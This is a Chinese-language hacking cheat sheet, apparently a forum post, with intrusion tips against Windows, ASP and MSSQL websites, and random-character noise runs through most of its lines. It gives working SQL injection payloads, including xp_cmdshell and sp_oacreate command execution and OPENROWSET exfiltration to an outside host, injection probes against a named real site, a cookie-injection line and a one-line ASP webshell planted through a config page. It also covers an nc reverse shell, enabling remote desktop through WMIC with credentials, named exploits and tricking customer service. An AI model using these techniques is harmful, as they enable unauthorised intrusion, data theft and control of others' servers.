SA点数据库分离技术相关
" r; f( U) N$ n, J) I. L/ X0 W+ [4 v- w% V' k* |& E7 C# _
+ t6 B# s9 z8 x5 E' s/ xSA点数据库分离搞法+语句:
) E& _2 M4 T) A7 a2 [
8 J2 d) r& Y, M注射点不显错,执行下面三条语句页面都返回正常。
0 a4 C: ]; e7 y% I9 Z: ^and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')! O' w) G# m) m: D5 ?7 C. U$ X
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')% p3 r z, O$ B$ O" s! |) `7 {
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
+ \* m+ T5 V' F3 E% B* K" @可以列目录,判断系统为2000,web与数据库分离1 a! A3 X; u8 t4 V9 S
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。9 m- ~, G5 u# t6 q6 M
在注射点上执行; p1 g w4 E- A# t
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--7 R a! j! h1 A$ G
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP/ W* D0 {9 F: H4 x1 M
还有我用NC监听得其他端口都没有得到IP。
) t4 `+ Y' a% d9 X$ U7 P- A2 c2 W7 _, ^( H
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。
7 D- o; M6 g7 P- T, c7 y4 j% c'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--9 R8 i4 N+ j* ]8 r2 o: \
1 n0 u6 j+ w1 d;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--+ c& G; R! O+ T- Q* M
" g1 ]2 M* { H: }+ N
现在就猜想是不是数据库是内网而且不能连外网。
+ Y9 R& j4 u. ~0 s
8 Z" w; q( B, |( K- G) |
; D5 V, C8 i2 t# K+ n' Laccess导出txt文本代码: B8 E6 m: n) }0 q5 F/ U; J) e
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
: ~# H' [5 o/ f! k& Q
. B0 ]5 O8 x' t% {* F
$ W! ?5 U, ^# f4 [" A3 u8 X7 h! V% r7 n
自动跳转到指定网站代码头
) _, ^: A [- }% _! q: s. G. Q<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>0 C- w& x B3 @8 e: x4 e! ^
. i! J( T4 z) ^) N
& f! p. M# s- h3 R+ K7 o6 w4 w8 k/ C6 L
入侵java or jsp站点时默认配置文件路径:) Y/ \ C0 ^$ B% f
\web-inf\web.xml: n6 W0 d6 t& l. m. k' L
tomcat下的配置文件位置:
9 m( t# F- v1 I! E: L\conf\server.xml (前面加上tomcat路径)# B- G0 z2 l X( u9 T$ ]3 }
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
9 T$ q) T1 S( m0 n+ M8 }% a4 x0 p5 ]; c! g, o! P% B+ l0 H/ y# M
7 K2 J0 y" C# }0 `, o6 p
$ D5 K' r6 r; Y- R检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
: Z, M( f F. n- } r, ^: _. |1 w-1%23
5 J4 P2 i" R F: e/ ^7 _% k3 N> / S+ Y4 `9 u C& Q& ]8 B
<, N" H* c9 e9 y( r" P& k. O8 z
1'+or+'1'='1% E0 J4 U/ ^, i5 ?7 D5 \& a
id=8%bf) ~4 a- P0 ~$ n& o6 t
8 i7 O; a! Z3 G! B' o全新注入点检测试法:
! } V' ?0 `6 f9 t在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。& c; l1 r, K) r" u
0 a, d L* d7 v1 [% \2 M- O# i在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。4 l% {, c6 f0 O6 }: M
) s! R$ B* K+ f2 o$ w
搜索型注入判断方法:
' x8 k& I5 K U3 {. g) m北京%' and '1'='1' and '%'='4 a1 I7 E! Z N9 K7 R. h) y
北京%' and '1'='2' and '%'='- N, O" S i, _9 |: p: R
. t& P5 \5 n6 Q) B& u8 U8 @/ G
& Z" w& N% x# yCOOKIES注入:
N% {8 q( ~+ p: R. M) v0 }6 \; o" @; j% Y" {+ H0 p* I
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
" D$ M* E3 J1 H- Q3 N e# g% l) h
; w9 `9 Q( A0 i w7 E/ V% L" B2000专业版查看本地登录用户命令:
7 T7 G9 I8 p1 b3 u0 v8 T; Dnet config workstation! z* ]- Y$ ^* r
9 ?$ A: P) }! C. E, O/ I) t6 W1 g' n6 ?7 S
2003下查看ipsec配置和默认防火墙配置命令:8 R" y! s3 _7 u2 t6 ?& c$ Q
netsh firewall show config# A. ?+ \' t& A9 W
netsh ipsec static show all; Q" e4 x0 L+ I
+ D0 R2 z# }5 A$ D# o0 n9 O不指派指定策略命令:
& S6 M% x! u) H6 c8 A, R, }netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
: ~/ ?: N% d" Rnetsh ipsec static show policy all 显示策略名
! l3 N/ x( n) m( T$ d2 N- I3 H2 o6 R# M4 \5 | Q* F
5 R; _: n t/ W- b9 x" i' N猜管理员后台小技巧:
# p( S1 U( K3 w; ^admin/left.asp 9 `8 z" w' J( a) e" o4 R# E
admin/main.asp
" x' h3 i0 z/ p; Tadmin/top.asp
+ g* y$ o x9 Y& Z1 Z# t7 dadmin/admin.asp 1 _, V: [, I6 R6 _: E
会现出菜单导航,然后迅雷下载全部链接
4 p/ \1 Z3 r6 u) H, ~" D$ m% `
# ]1 r0 ^4 o$ b% A1 G1 ~( v$ [' ?$ F
社会工程学:
4 |2 }* U2 h- b. G. m* h' I用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
9 Y" @! ]3 U- A& Z5 V$ Q然后去骗客服
* _; ]4 U+ E% R3 x9 ], m
) I* i1 \: }' P7 c4 @$ [; g0 y8 W! N5 P0 E7 t) e0 |. D7 E6 J
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
) h8 Q6 n8 E- Q A8 s. B7 P( k9 v9 C查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
. w1 b8 U) S/ q. P 存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。" x: W; m/ c5 L o! a
- X. ?" A8 M( @3 x& ?% `4 e/ i4 Y6 H p; {
; ]3 L6 i# a& B! M& Q# D; @0 U8 B
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
! X% n5 w: c, b" ]+ q* v7 n% t# [/ @. O% C" v: J4 ^
) _3 Z) V5 [9 r/ A8 Y: ?
1 X+ B1 K8 y9 Q+ _ i3 [2 T
CMD加密注册表位置7 \& c& H8 C& a+ m: {, l( r$ p
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor( P& Z" ~/ e; N& q/ E
AutoRun
; E% D' t, |- C4 O$ s6 K( I
: K! r9 o( t. P1 o' S(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor! O$ g' {9 ]5 K5 Z0 s
AutoRun) Y [9 }' P% L; W9 K% [; M9 O* {8 ], F
2 v: N7 d. T5 U0 C7 }0 H
, F5 M0 g4 c Q/ n1 S5 N; z f4 T在找注入时搜索Hidden,把他改成test% m. ~& l' y5 Y" Q0 F
; g" m/ E& }. Q$ S9 E6 | O# g2 X
+ @0 F; i) B+ ^. R5 t1 H
/ a1 P0 o6 q2 v. smstsc /v:IP /console
1 Z# Y- e# o1 l% t+ f$ x( o, }# ^* D$ v1 E2 O+ G r/ A5 {4 `9 Q" U
: J$ q1 Y+ U: ` z, \* u: ]
一句话开3389:
- n% i7 t) G: M$ L5 K4 a: h! X! b! e+ g# G$ x/ k
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH> - U- N2 u/ k- p6 M( Q
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.8 u! Y4 J9 r$ V& c! A
/ H3 v" I: }- C" }+ Y
) L+ H: e2 [0 k知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
$ l8 M. r2 r2 I- XInsert into admin(user,pwd) values('test','test')
) n: t5 K2 a8 v: j# E* o( l
, Z" r2 m4 ^$ g7 o3 c
6 P$ m9 W) o0 L. ENC反弹
4 K6 @2 f& Q( I! k" P7 J; F先在本机执行: nc -vv -lp 监听的端口 (自己执行)
6 O7 U3 K5 {: B! t1 o) z然后在服务器上执行: nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
- z/ v$ d2 o; ]0 D& r s8 U4 R3 w) c* r- H" l9 r
4 T$ |8 L0 K8 V1 E! W4 @# _在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
9 r) r7 @$ D. N: G! W3 d% Q, O5 S+ O9 o
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
% J/ w( M1 i. [) G例如:$ F( v9 y1 ]* ~4 }6 p" X5 U
subst k: d:\www\ 用d盘www目录替代k盘6 ?( r4 Y: ~( X1 Z+ [
subst k: /d 解除K盘代替 |